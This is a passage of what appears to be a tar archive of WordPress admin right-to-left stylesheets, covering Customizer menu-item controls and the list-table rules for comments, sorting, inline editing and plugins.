item-bar{margin-left:200px}.menu-item-depth-11>.menu-item-bar{margin-left:220px}.menu-item-depth-0 .menu-item-transport{margin-right:0}.menu-item-depth-1 .menu-item-transport{margin-right:-20px}.menu-item-depth-3 .menu-item-transport{margin-right:-60px}.menu-item-depth-4 .menu-item-transport{margin-right:-80px}.menu-item-depth-2 .menu-item-transport{margin-right:-40px}.menu-item-depth-5 .menu-item-transport{margin-right:-100px}.menu-item-depth-6 .menu-item-transport{margin-right:-120px}.menu-item-depth-7 .menu-item-transport{margin-right:-140px}.menu-item-depth-8 .menu-item-transport{margin-right:-160px}.menu-item-depth-9 .menu-item-transport{margin-right:-180px}.menu-item-depth-10 .menu-item-transport{margin-right:-200px}.menu-item-depth-11 .menu-item-transport{margin-right:-220px}.reordering .menu-item-depth-0{margin-right:0}.reordering .menu-item-depth-1{margin-right:15px}.reordering .menu-item-depth-2{margin-right:30px}.reordering .menu-item-depth-3{margin-right:45px}.reordering .menu-item-depth-4{margin-right:60px}.reordering .menu-item-depth-5{margin-right:75px}.reordering .menu-item-depth-6{margin-right:90px}.reordering .menu-item-depth-7{margin-right:105px}.reordering .menu-item-depth-8{margin-right:120px}.reordering .menu-item-depth-9{margin-right:135px}.reordering .menu-item-depth-10{margin-right:150px}.reordering .menu-item-depth-11{margin-right:165px}.reordering .menu-item-depth-0>.menu-item-bar{margin-left:0}.reordering .menu-item-depth-1>.menu-item-bar{margin-left:15px}.reordering .menu-item-depth-2>.menu-item-bar{margin-left:30px}.reordering .menu-item-depth-3>.menu-item-bar{margin-left:45px}.reordering .menu-item-depth-4>.menu-item-bar{margin-left:60px}.reordering .menu-item-depth-5>.menu-item-bar{margin-left:75px}.reordering .menu-item-depth-6>.menu-item-bar{margin-left:90px}.reordering .menu-item-depth-7>.menu-item-bar{margin-left:105px}.reordering .menu-item-depth-8>.menu-item-bar{margin-left:120px}.reordering .menu-item-depth-9>.menu-item-bar{margin-left:135px}.reordering .menu-item-depth-10>.menu-item-bar{margin-left:150px}.reordering .menu-item-depth-11>.menu-item-bar{margin-left:165px}.control-section-nav_menu.menu .menu-item-edit-active{margin-right:0}.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar{margin-left:0}.control-section-nav_menu.menu .sortable-placeholder{margin-top:0;margin-bottom:1px;max-width:calc(100% - 2px);float:right;display:list-item;border-color:#a7aaad}.menu-item-transport li.customize-control{float:none}.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar{margin-top:0}.adding-menu-items .control-section{opacity:.4}.adding-menu-items .control-panel.control-section,.adding-menu-items .control-section.open{opacity:1}.menu-item-bar .item-delete{color:#d63638;position:absolute;top:2px;left:-19px;width:30px;height:38px;cursor:pointer;display:none}.menu-item-bar .item-delete:before{content:"\f335";content:"\f335"/'';position:absolute;top:9px;right:5px;border-radius:50%;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.menu-item-bar .item-delete:focus,.menu-item-bar .item-delete:hover{box-shadow:none;outline:0;color:#d63638}.adding-menu-items .menu-item-bar .item-edit{display:none}.adding-menu-items .menu-item-bar .item-delete{display:block}#available-menu-items.opening{overflow-y:hidden}#available-menu-items #available-menu-items-search.open{height:100%;border-bottom:none}#available-menu-items .accordion-section-title{border-right:none;border-left:none;background:#fff;transition:background-color .15s;-webkit-user-select:auto;user-select:auto}#available-menu-items #available-menu-items-search .accordion-section-title,#available-menu-items .open .accordion-section-title{background:#f0f0f1}#available-menu-items .accordion-section-title:after{content:none!important}#available-menu-items .accordion-section-title:hover .toggle-indicator:before,#available-menu-items .button-link:focus .toggle-indicator:before,#available-menu-items .button-link:hover .toggle-indicator:before{color:#1d2327}#available-menu-items .open .accordion-section-title .toggle-indicator:before{content:"\f142";color:#1d2327}#available-menu-items .available-menu-items-list{overflow-y:auto;max-height:200px;background:0 0}#available-menu-items .accordion-section-title button .toggle-indicator{display:flex;align-items:center;width:28px;height:35px;position:absolute;top:5px;left:5px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .accordion-section-title .no-items,#available-menu-items .cannot-expand .accordion-section-title .spinner,#available-menu-items .cannot-expand .accordion-section-title>button:not(#available-menu-items-search button.is-visible){display:none}#available-menu-items-search.cannot-expand .accordion-section-title .spinner{display:block}#available-menu-items .cannot-expand .accordion-section-title .no-items{float:left;color:#50575e;font-weight:400;margin-right:5px}#available-menu-items .accordion-section-content{max-height:290px;margin:0;padding:0;position:relative;background:0 0}#available-menu-items .accordion-section-content .available-menu-items-list{margin:0 0 64px;padding:1px 15px 15px}#available-menu-items .accordion-section-content .available-menu-items-list:only-child{margin-bottom:0}#new-custom-menu-item .accordion-section-content{padding:0 15px 15px}#available-menu-items .menu-item-tpl{margin:0}#available-menu-items .new-content-item .create-item-input.invalid,#available-menu-items .new-content-item .create-item-input.invalid:focus,#custom-menu-item-name.invalid,#custom-menu-item-url.invalid,.edit-menu-item-url.invalid,.menu-name-field.invalid,.menu-name-field.invalid:focus{border:1px solid #d63638}#available-menu-items .menu-item-handle .item-type{padding-left:0}#available-menu-items .menu-item-handle .item-title{padding-right:20px}#available-menu-items .menu-item-handle{cursor:pointer}#available-menu-items .menu-item-handle{box-shadow:none;margin-top:-1px}#available-menu-items .menu-item-handle:hover{z-index:1}#available-menu-items .item-title h4{padding:0 0 5px;font-size:14px}#available-menu-items .item-add{position:absolute;top:1px;right:1px;color:#8c8f94;width:30px;height:38px;box-shadow:none;outline:0;cursor:pointer;text-align:center}#available-menu-items .menu-item-handle .item-add:focus{color:#1d2327}#available-menu-items .item-add:before{content:"\f543";content:"\f543"/'';position:relative;right:2px;top:3px;display:inline-block;height:20px;border-radius:50%;font:normal 20px/1.05 dashicons}#available-menu-items .menu-item-handle.item-added .item-add:focus,#available-menu-items .menu-item-handle.item-added .item-title,#available-menu-items .menu-item-handle.item-added .item-type,#available-menu-items .menu-item-handle.item-added:hover .item-add{color:#646970}#available-menu-items .menu-item-handle.item-added .item-add:before{content:"\f147";content:"\f147"/''}#available-menu-items .accordion-section-title.loading .spinner,#available-menu-items-search.loading .accordion-section-title .spinner{visibility:visible;margin:0 20px}#available-menu-items-search .spinner{position:absolute;bottom:24px;left:21px;margin:0!important}#available-menu-items #available-menu-items-search .accordion-section-content{position:absolute;right:0;top:83px;bottom:0;max-height:none;width:100%;padding:1px 15px 15px;box-sizing:border-box}#available-menu-items-search .nothing-found{margin-top:-1px}#available-menu-items-search .accordion-section-title:after{display:none}#available-menu-items-search .accordion-section-content:empty{min-height:0;padding:0}#available-menu-items-search.loading .accordion-section-content div{opacity:.5}#available-menu-items-search.loading.loading-more .accordion-section-content div{opacity:1}@media (prefers-reduced-motion:no-preference){#customize-preview{transition:all .2s}}body.adding-menu-items #available-menu-items{right:0;visibility:visible}body.adding-menu-items .wp-full-overlay-main{right:300px}body.adding-menu-items #customize-preview{opacity:.4}body.adding-menu-items #customize-preview iframe{pointer-events:none}.menu-item-handle .spinner{display:none;float:right;margin:0 0 0 8px}.nav-menu-inserted-item-loading .spinner{display:block}.nav-menu-inserted-item-loading .menu-item-handle .item-type{padding:0 8px 0 0}.added-menu-item .menu-item-handle.loading,.nav-menu-inserted-item-loading .menu-item-handle{padding:10px 8px 10px 15px;cursor:default;opacity:.5;background:#fff;color:#787c82}.added-menu-item .menu-item-handle{transition-property:opacity,background,color;transition-duration:1.25s;transition-timing-function:cubic-bezier(.25,-2.5,.75,8)}#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title{border-bottom-color:#dcdcde}#accordion-section-add_menu{margin:15px 12px}#accordion-section-add_menu h3{text-align:left}#accordion-section-add_menu .customize-add-menu-button,#accordion-section-add_menu h3{margin:0}#accordion-section-add_menu .customize-add-menu-button{font-weight:400}#create-new-menu-submit{float:left;margin:0 0 12px}.menu-delete-item{float:right;padding:1em 0;width:100%}.assigned-menu-locations-title p{margin:0 0 8px}li.assigned-to-menu-location .menu-delete-item{display:none}li.assigned-to-menu-location .add-new-menu-item{margin-bottom:1em}.menu-item-handle{margin-top:-1px}.ui-sortable-disabled .menu-item-handle{cursor:default}.menu-item-handle:hover{position:relative;z-index:10;color:var(--wp-admin-theme-color)}#available-menu-items .menu-item-handle:hover .item-add,.menu-item-handle:hover .item-edit,.menu-item-handle:hover .item-type{color:var(--wp-admin-theme-color)}.menu-item-edit-active .menu-item-handle{border-color:#8c8f94;border-bottom:none}.customize-control-nav_menu_item{margin-bottom:0}.customize-control-nav_menu .new-menu-item-invitation{margin-top:0;margin-bottom:0}.customize-control-nav_menu .customize-control-nav_menu-buttons{display:flex;flex-direction:row-reverse;align-items:center;gap:8px;margin-top:12px}#available-menu-items .item-add:focus:before,#customize-controls .customize-info .customize-help-toggle:focus:before,.customize-screen-options-toggle:focus:before,.menu-delete:focus,.menu-item-bar .item-delete:focus:before,.wp-customizer .menu-item .submitbox .submitdelete:focus,.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}@media screen and (max-width:782px){#available-menu-items #available-menu-items-search .accordion-section-content{top:71px}}@media screen and (max-width:640px){#available-menu-items #available-menu-items-search .accordion-section-content{top:154px}} css/list-tables-rtl.css 0000644 00000131313 15233246127 0011077 0 ustar 00 /*! This file is auto-generated */ .response-links { display: block; margin-bottom: 1em; } .response-links a { display: block; } .response-links a.comments-edit-item-link { font-weight: 600; } .response-links a.comments-view-item-link { font-size: 12px; } .post-com-count-wrapper strong { font-weight: 400; } .comments-view-item-link { display: inline-block; clear: both; } .column-response .post-com-count-wrapper, .column-comments .post-com-count-wrapper { white-space: nowrap; word-wrap: normal; } /* comments bubble common */ .column-response .post-com-count, .column-comments .post-com-count { display: inline-block; vertical-align: top; } /* comments bubble approved */ .column-response .post-com-count-no-comments, .column-response .post-com-count-approved, .column-comments .post-com-count-no-comments, .column-comments .post-com-count-approved { margin-top: 5px; } .column-response .comment-count-no-comments, .column-response .comment-count-approved, .column-comments .comment-count-no-comments, .column-comments .comment-count-approved { box-sizing: border-box; display: block; padding: 0 8px; min-width: 24px; height: 2em; border-radius: 5px; background-color: #646970; color: #fff; font-size: 11px; line-height: 1.90909090; text-align: center; } .column-response .post-com-count-no-comments:after, .column-response .post-com-count-approved:after, .column-comments .post-com-count-no-comments:after, .column-comments .post-com-count-approved:after { content: ""; display: block; margin-right: 8px; width: 0; height: 0; border-top: 5px solid #646970; border-left: 5px solid transparent; } .column-response a.post-com-count-approved:hover .comment-count-approved, .column-response a.post-com-count-approved:focus .comment-count-approved, .column-comments a.post-com-count-approved:hover .comment-count-approved, .column-comments a.post-com-count-approved:focus .comment-count-approved { background: #3858e9; } .column-response a.post-com-count-approved:hover:after, .column-response a.post-com-count-approved:focus:after, .column-comments a.post-com-count-approved:hover:after, .column-comments a.post-com-count-approved:focus:after { border-top-color: #3858e9; } /* @todo: consider to use a single rule for these counters and the admin menu counters. */ .column-response .post-com-count-pending, .column-comments .post-com-count-pending { position: relative; right: -3px; padding: 0 5px; min-width: 7px; height: 17px; border: 2px solid #fff; border-radius: 11px; background: #d63638; color: #fff; font-size: 9px; line-height: 1.88888888; text-align: center; } .column-response .post-com-count-no-pending, .column-comments .post-com-count-no-pending { display: none; } /* comments */ .commentlist li { padding: 1em 1em .2em; margin: 0; border-bottom: 1px solid #c3c4c7; } .commentlist li li { border-bottom: 0; padding: 0; } .commentlist p { padding: 0; margin: 0 0 .8em; } #submitted-on, .submitted-on { color: #50575e; } /* reply to comments */ #replyrow td { padding: 2px; } #replysubmit { margin: 0; padding: 5px 7px 10px; overflow: hidden; } #replysubmit .reply-submit-buttons { margin-bottom: 0; } #replysubmit .button { margin-left: 5px; } #replysubmit .spinner { float: none; margin: -4px 0 0; } #replyrow.inline-edit-row fieldset.comment-reply { font-size: inherit; line-height: inherit; } #replyrow legend { margin: 0; padding: .2em 5px 0; font-size: 13px; line-height: 1.4; font-weight: 600; } #replyrow.inline-edit-row label { display: inline; vertical-align: baseline; line-height: inherit; } #edithead .inside, #commentsdiv #edithead .inside { float: right; padding: 3px 5px 2px 0; margin: 0; text-align: center; } #edithead .inside input { width: 180px; } #edithead label { padding: 2px 0; } #replycontainer { padding: 5px; } #replycontent { height: 120px; box-shadow: none; } #replyerror { border-color: #dcdcde; background-color: #f6f7f7; } /* @todo: is this used? */ .commentlist .avatar { vertical-align: text-top; } #the-comment-list tr.undo, #the-comment-list div.undo { background-color: #f6f7f7; } #the-comment-list .unapproved th, #the-comment-list .unapproved td { background-color: #fcf9e8; } #the-comment-list .unapproved th.check-column { border-right: 4px solid #d63638; } #the-comment-list .unapproved th.check-column input { margin-right: 4px; } #the-comment-list .approve a { color: #007017; } #the-comment-list .unapprove a { color: #996800; } #the-comment-list th, #the-comment-list td { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } #the-comment-list tr:last-child th, #the-comment-list tr:last-child td { box-shadow: none; } #the-comment-list tr.unapproved + tr.approved th, #the-comment-list tr.unapproved + tr.approved td { border-top: 1px solid rgba(0, 0, 0, 0.03); } /* table vim shortcuts */ .vim-current, .vim-current th, .vim-current td { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08) !important; } th .comment-grey-bubble { width: 16px; /* Make sure the link clickable area fills the entire table header. */ position: relative; top: 2px; } th .comment-grey-bubble:before { content: "\f101"; content: "\f101" / ''; font: normal 20px/.5 dashicons; display: inline-block; padding: 0; top: 4px; right: -4px; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #3c434a; } /*------------------------------------------------------------------------------ 10.0 - List Posts (/Pages/etc) ------------------------------------------------------------------------------*/ table.fixed { table-layout: fixed; } .fixed .column-rating, .fixed .column-visible { width: 8%; } .fixed .column-posts, .fixed .column-parent, .fixed .column-links, .fixed .column-author, .fixed .column-format { width: 10%; } .fixed .column-date { width: 14%; } .column-date span[title] { -webkit-text-decoration: dotted underline; text-decoration: dotted underline; } .fixed .column-posts { width: 74px; } .fixed .column-role, .fixed .column-posts { hyphens: auto; } .fixed .column-comment .comment-author { display: none; } .fixed .column-response, .fixed .column-categories, .fixed .column-tags, .fixed .column-rel, .fixed .column-role { width: 15%; } .fixed .column-slug { width: 25%; } .fixed .column-locations { width: 35%; } .fixed .column-comments { width: 5.5em; text-align: right; } .fixed .column-comments .vers { padding-right: 3px; } td.column-title strong, td.plugin-title strong { display: block; margin-bottom: .2em; font-size: 14px; } td.column-title p, td.plugin-title p { margin: 6px 0; } /* Media file column */ table.media .column-title .media-icon { float: right; min-height: 60px; margin: 0 0 0 9px; } table.media .column-title .media-icon img { max-width: 60px; height: auto; vertical-align: top; /* Remove descender white-space. */ } table.media .column-title .has-media-icon ~ .row-actions { margin-right: 70px; /* 60px image + margin */ } table.media .column-title .filename { margin-bottom: 0.2em; } /* Media Copy to clipboard row action */ .media .row-actions .copy-to-clipboard-container { display: inline; position: relative; } .media .row-actions .copy-to-clipboard-container .success { position: absolute; right: 50%; transform: translate(50%, -100%); background: #000; color: #fff; border-radius: 5px; margin: 0; padding: 2px 5px; } /* @todo: pick a consistent list table selector */ .wp-list-table a { transition: none; } #the-list tr:last-child td, #the-list tr:last-child th { border-bottom: none !important; box-shadow: none; } #comments-form .fixed .column-author { width: 20%; } #commentsdiv.postbox .inside { margin: 0; padding: 0; } #commentsdiv .inside .row-actions { line-height: 1.38461538; } #commentsdiv .inside .column-author { width: 25%; } #commentsdiv .column-comment p { margin: 0.6em 0; padding: 0; } #commentsdiv #replyrow td { padding: 0; } #commentsdiv p { padding: 8px 10px; margin: 0; } #commentsdiv .comments-box { border: 0 none; } #commentsdiv .comments-box thead th, #commentsdiv .comments-box thead td { background: transparent; padding: 0 7px 4px; } #commentsdiv .comments-box tr:last-child td { border-bottom: 0 none; } #commentsdiv #edithead .inside input { width: 160px; } .sorting-indicators { display: grid; } .sorting-indicator { display: block; width: 10px; height: 4px; margin-top: 4px; margin-right: 7px; } .sorting-indicator:before { font: normal 20px/1 dashicons; display: inline-block; padding: 0; top: -4px; right: -8px; line-height: 0.5; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #a7aaad; } .sorting-indicator.asc:before { content: "\f142"; content: "\f142" / ''; } .sorting-indicator.desc:before { content: "\f140"; content: "\f140" / ''; } th.sorted.desc .sorting-indicator.desc:before { color: #1d2327; } th.sorted.asc .sorting-indicator.asc:before { color: #1d2327; } th.sorted.asc a:focus .sorting-indicator.asc:before, th.sorted.asc:hover .sorting-indicator.asc:before, th.sorted.desc a:focus .sorting-indicator.desc:before, th.sorted.desc:hover .sorting-indicator.desc:before { color: #a7aaad; } th.sorted.asc a:focus .sorting-indicator.desc:before, th.sorted.asc:hover .sorting-indicator.desc:before, th.sorted.desc a:focus .sorting-indicator.asc:before, th.sorted.desc:hover .sorting-indicator.asc:before { color: #1d2327; } .wp-list-table .toggle-row { position: absolute; left: 8px; top: 10px; display: none; padding: 0; width: 40px; height: 40px; border: none; outline: none; background: transparent; } .wp-list-table .toggle-row:hover { cursor: pointer; } .wp-list-table .toggle-row:focus:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-list-table .toggle-row:active { box-shadow: none; } .wp-list-table .toggle-row:before { position: absolute; top: -5px; right: 10px; border-radius: 50%; display: block; padding: 1px 0 1px 2px; color: #3c434a; /* same as table headers sort arrows */ content: "\f140"; content: "\f140" / ''; font: normal 20px/1 dashicons; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-list-table .is-expanded .toggle-row:before { content: "\f142"; content: "\f142" / ''; } .check-column { position: relative; } .check-column label { box-sizing: border-box; width: 100%; height: 100%; display: block; position: absolute; top: 0; right: 0; } .check-column input { position: relative; z-index: 1; } .check-column .label-covers-full-cell:hover + input:not(:disabled) { box-shadow: 0 0 0 1px #2271b1; } .check-column label:hover, .check-column input:hover + label { background: rgba(0, 0, 0, 0.05); } .locked-indicator { display: none; margin-right: 6px; height: 20px; width: 16px; } .locked-indicator-icon:before { color: #8c8f94; content: "\f160"; content: "\f160" / ''; display: inline-block; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .locked-info { display: none; margin-top: 4px; } .locked-text { vertical-align: top; } .wp-locked .locked-indicator, .wp-locked .locked-info { display: block; } tr.wp-locked .check-column label, tr.wp-locked .check-column input[type="checkbox"], tr.wp-locked .row-actions .inline, tr.wp-locked .row-actions .trash { display: none; } #menu-locations-wrap .widefat { width: 60%; } .widefat th.sortable, .widefat th.sorted { padding: 0; } th.sortable a, th.sorted a { display: block; overflow: hidden; padding: 8px; } th.sortable a:focus, th.sorted a:focus { border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } th.sortable a span, th.sorted a span { float: right; cursor: pointer; } .tablenav-pages .current-page { vertical-align: top; margin: 0 0 0 2px; font-size: 13px; text-align: center; min-height: 32px; padding: 0 8px; } .tablenav .total-pages { margin-left: 2px; } .tablenav #table-paging { margin-right: 2px; } .tablenav { clear: both; height: 32px; margin: 6px 0 4px; vertical-align: middle; } .tablenav.themes { max-width: 98%; } .tablenav .tablenav-pages { float: left; margin: 0 0 9px; } .tablenav .no-pages, .tablenav .one-page .pagination-links { display: none; } .tablenav .tablenav-pages .button, .tablenav .tablenav-pages .tablenav-pages-navspan { display: inline-block; vertical-align: baseline; min-width: 32px; min-height: 32px; margin: 0; padding: 0 4px; font-size: 16px; line-height: 1.875; /* 30px for 32px height */ text-align: center; } .tablenav .displaying-num { margin-left: 7px; } .tablenav .one-page .displaying-num { display: inline-block; margin: 5px 0; } .tablenav .actions { padding: 0 0 0 8px; } .wp-filter .actions { display: inline-block; vertical-align: middle; } .tablenav .delete { margin-left: 20px; } /* This view-switcher is still used on multisite. */ .tablenav .view-switch { float: left; margin: 0 5px; padding-top: 3px; } .wp-filter .view-switch { display: inline-block; vertical-align: middle; padding: 12px 0; margin: 0 2px 0 8px; } .media-toolbar.wp-filter .view-switch { margin: 0 2px 0 12px; } .view-switch a { float: right; width: 28px; height: 28px; text-align: center; line-height: 1.84615384; text-decoration: none; } .view-switch a:before { color: #c3c4c7; display: inline-block; font: normal 20px/1 dashicons; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .view-switch a:hover:before, .view-switch a:focus:before { color: #787c82; } .view-switch a.current:before { color: #2271b1; } .view-switch .view-list:before { content: "\f163"; content: "\f163" / ''; } .view-switch .view-excerpt:before { content: "\f164"; content: "\f164" / ''; } .view-switch .view-grid:before { content: "\f509"; content: "\f509" / ''; } .filter { float: right; margin: -5px 10px 0 0; } .filter .subsubsub { margin-right: -10px; margin-top: 13px; } .screen-per-page { width: 4em; } #posts-filter .wp-filter { margin-bottom: 0; } #posts-filter fieldset { float: right; margin: 0 0 1em 1.5ex; padding: 0; } #posts-filter fieldset legend { padding: 0 1px .2em 0; } p.pagenav { margin: 0; display: inline; } .pagenav span { font-weight: 600; margin: 0 6px; } .row-title { font-size: 14px !important; font-weight: 600; } .column-comment .comment-author { margin-bottom: 0.6em; } .column-author img, .column-username img, .column-comment .comment-author img { float: right; margin-left: 10px; margin-top: 1px; } .row-actions { color: #646970; font-size: 13px; padding: 2px 0 0; position: relative; right: -9999em; } /* ticket #34150 */ .rtl .row-actions a { display: inline-block; } .row-actions .network_only, .row-actions .network_active { color: #000; } .no-js .row-actions, tr:hover .row-actions, .mobile .row-actions, .row-actions.visible, .comment-item:hover .row-actions { position: static; } /* deprecated */ .row-actions-visible { padding: 2px 0 0; } /*------------------------------------------------------------------------------ 10.1 - Inline Editing ------------------------------------------------------------------------------*/ /* .quick-edit* is for Quick Edit .bulk-edit* is for Bulk Edit .inline-edit* is for everything */ /* Layout */ #wpbody-content .inline-edit-row fieldset { float: right; margin: 0; padding: 0 0 0 12px; width: 100%; box-sizing: border-box; } #wpbody-content .inline-edit-row td fieldset:last-of-type { padding-left: 0; } tr.inline-edit-row td { padding: 0; /* Prevents the focus style on .inline-edit-wrapper from being cut-off */ position: relative; } .inline-edit-wrapper { display: flow-root; padding: 0 12px; border: 1px solid transparent; border-radius: 4px; } .inline-edit-wrapper:focus { border-color: var(--wp-admin-theme-color, #3858e9); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #wpbody-content .quick-edit-row-post .inline-edit-col-left { width: 40%; } #wpbody-content .quick-edit-row-post .inline-edit-col-right { width: 39%; } #wpbody-content .inline-edit-row-post .inline-edit-col-center { width: 20%; } #wpbody-content .quick-edit-row-page .inline-edit-col-left { width: 50%; } #wpbody-content .quick-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row-post .inline-edit-col-right { width: 50%; } #wpbody-content .bulk-edit-row .inline-edit-col-left { width: 30%; } #wpbody-content .bulk-edit-row-page .inline-edit-col-right { width: 69%; } #wpbody-content .bulk-edit-row .inline-edit-col-bottom { float: left; width: 69%; } #wpbody-content .inline-edit-row-page .inline-edit-col-right { margin-top: 27px; } .inline-edit-row fieldset .inline-edit-group { clear: both; line-height: 2.5; } .inline-edit-row .submit { display: flex; flex-wrap: wrap; align-items: center; clear: both; margin: 0; padding: 0.5em 0 1em; } .inline-edit-save.submit .button { margin-left: 8px; } .inline-edit-save .spinner { float: none; margin: 0; } .inline-edit-row .notice-error { box-sizing: border-box; min-width: 100%; margin-top: 1em; } .inline-edit-row .notice-error .error { margin: 0.5em 0; padding: 2px; } /* Positioning */ /* Needs higher specificity for the padding */ #the-list .inline-edit-row .inline-edit-legend { margin: 0; padding: 0.2em 0; line-height: 2.5; font-weight: 600; } .inline-edit-row fieldset span.title, .inline-edit-row fieldset span.checkbox-title { margin: 0; padding: 0; } .inline-edit-row fieldset label, .inline-edit-row fieldset span.inline-edit-categories-label { display: block; margin: .2em 0; line-height: 2.5; } .inline-edit-row fieldset.inline-edit-date label { display: inline-block; margin: 0; vertical-align: baseline; line-height: 2; } .inline-edit-row fieldset label.inline-edit-tags { margin-top: 0; } .inline-edit-row fieldset label.inline-edit-tags span.title { margin: .2em 0; width: auto; } .inline-edit-row fieldset label span.title, .inline-edit-row fieldset.inline-edit-date legend { display: block; float: right; width: 6em; line-height: 2.5; } #posts-filter fieldset.inline-edit-date legend { padding: 0; } .inline-edit-row fieldset label span.input-text-wrap, .inline-edit-row fieldset .timestamp-wrap { display: block; margin-right: 6em; } .quick-edit-row-post fieldset.inline-edit-col-right label span.title { width: auto; padding-left: 0.5em; } .inline-edit-row .inline-edit-or { margin: .2em 0 .2em 6px; line-height: 2.5; } .inline-edit-row .input-text-wrap input[type=text] { width: 100%; } .inline-edit-row fieldset label input[type=checkbox] { vertical-align: middle; } .inline-edit-row fieldset label textarea { width: 100%; height: 4em; vertical-align: top; } .inline-edit-row select, .inline-edit-row input:where(:not([type=checkbox],[type=radio],[type=submit],[type=button])) { min-height: 32px; padding: 0 8px 0 8px; } .inline-edit-row select { line-height: 2.14285714; /* 30px for 32px height with 14px font */ padding-left: 24px; } #wpbody-content .bulk-edit-row fieldset .inline-edit-group label { max-width: 50%; } #wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child { margin-left: 0.5em } .inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input { width: 6em; } /* Styling */ .inline-edit-row .inline-edit-legend { text-transform: uppercase; } /* Specific Elements */ .inline-edit-row fieldset .inline-edit-date { float: right; } .inline-edit-row fieldset input[name=jj], .inline-edit-row fieldset input[name=hh], .inline-edit-row fieldset input[name=mn], .inline-edit-row fieldset input[name=aa] { vertical-align: middle; text-align: center; padding: 0 4px; } .inline-edit-row fieldset label input.inline-edit-password-input { width: 8em; } #bulk-titles-list, #bulk-titles-list li, .inline-edit-row fieldset ul.cat-checklist li, .inline-edit-row fieldset ul.cat-checklist input { margin: 0; position: relative; /* RTL fix, #WP27629 */ } .inline-edit-row fieldset ul.cat-checklist input { margin-top: -1px; margin-right: 3px; } .inline-edit-row fieldset label input.inline-edit-menu-order-input { width: 3em; } .inline-edit-row fieldset label input.inline-edit-slug-input { width: 75%; } .inline-edit-row select[name="post_parent"], .inline-edit-row select[name="page_template"] { max-width: 80%; } .quick-edit-row-post fieldset label.inline-edit-status { float: right; } #bulk-titles, ul.cat-checklist { height: 14em; border: 1px solid #ddd; margin: 0 0 5px; padding: 0.2em 5px; overflow-y: scroll; } ul.cat-checklist input[name="post_category[]"]:indeterminate::before { content: ''; border-top: 2px solid grey; width: 65%; height: 2px; position: absolute; top: calc( 50% + 1px ); right: 50%; transform: translate( 50%, -50% ); } #bulk-titles .ntdelbutton, #bulk-titles .ntdeltitle, .inline-edit-row fieldset ul.cat-checklist label { display: inline-block; margin: 0; padding: 3px 0; line-height: 20px; vertical-align: top; } #bulk-titles .ntdelitem { padding-right: 23px; } #bulk-titles .ntdelbutton { width: 26px; height: 26px; margin: 0 -26px 0 0; text-align: center; border-radius: 3px; } #bulk-titles .ntdelbutton:before { display: inline-block; vertical-align: top; } #bulk-titles .ntdelbutton:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /*------------------------------------------------------------------------------ 17.0 - Plugins ------------------------------------------------------------------------------*/ .plugins tbody th.check-column, .plugins tbody { padding: 8px 2px 0 0; } .plugins tbody th.check-column input[type=checkbox] { margin-top: 4px; } .updates-table .plugin-title p { margin-top: 0; } .plugins thead td.check-column, .plugins tfoot td.check-column, .plugins .inactive th.check-column { padding-right: 6px; } .plugins, .plugins th, .plugins td { color: #000; } .plugins tr { background: #fff; } .plugins p { margin: 0 4px; padding: 0; } .plugins .desc p { margin: 0 0 8px; } .plugins td.desc { line-height: 1.5; } .plugins .desc ul, .plugins .desc ol { margin: 0 2em 0 0; } .plugins .desc ul { list-style-type: disc; } .plugins .row-actions { font-size: 13px; padding: 0; } .plugins .inactive td, .plugins .inactive th, .plugins .active td, .plugins .active th { padding: 10px 9px; } .plugins .active td, .plugins .active th { background-color: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .plugins .update th, .plugins .update td { border-bottom: 0; } .plugins .inactive td, .plugins .inactive th, .plugins .active td, .plugins .active th, .plugin-install #the-list td, .upgrade .plugins td, .upgrade .plugins th { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugins tr.active.plugin-update-tr + tr.inactive th, .plugins tr.active.plugin-update-tr + tr.inactive td, .plugins tr.active + tr.inactive th, .plugins tr.active + tr.inactive td { border-top: 1px solid rgba(0, 0, 0, 0.03); box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.02), inset 0 -1px 0 #dcdcde; } .plugins .update td, .plugins .update th, .upgrade .plugins tr:last-of-type td, .upgrade .plugins tr:last-of-type th, .plugins tr.active + tr.inactive.update th, .plugins tr.active + tr.inactive.update td, .plugins .updated td, .plugins .updated th, .plugins tr.active + tr.inactive.updated th, .plugins tr.active + tr.inactive.updated td { box-shadow: none; } .plugins .active th.check-column, .plugin-update-tr.active td { border-right: 4px solid var(--wp-admin-theme-color); } .wp-list-table.plugins .plugin-title, .wp-list-table.plugins .theme-title { padding-left: 12px; white-space: nowrap; } .plugins .plugin-title 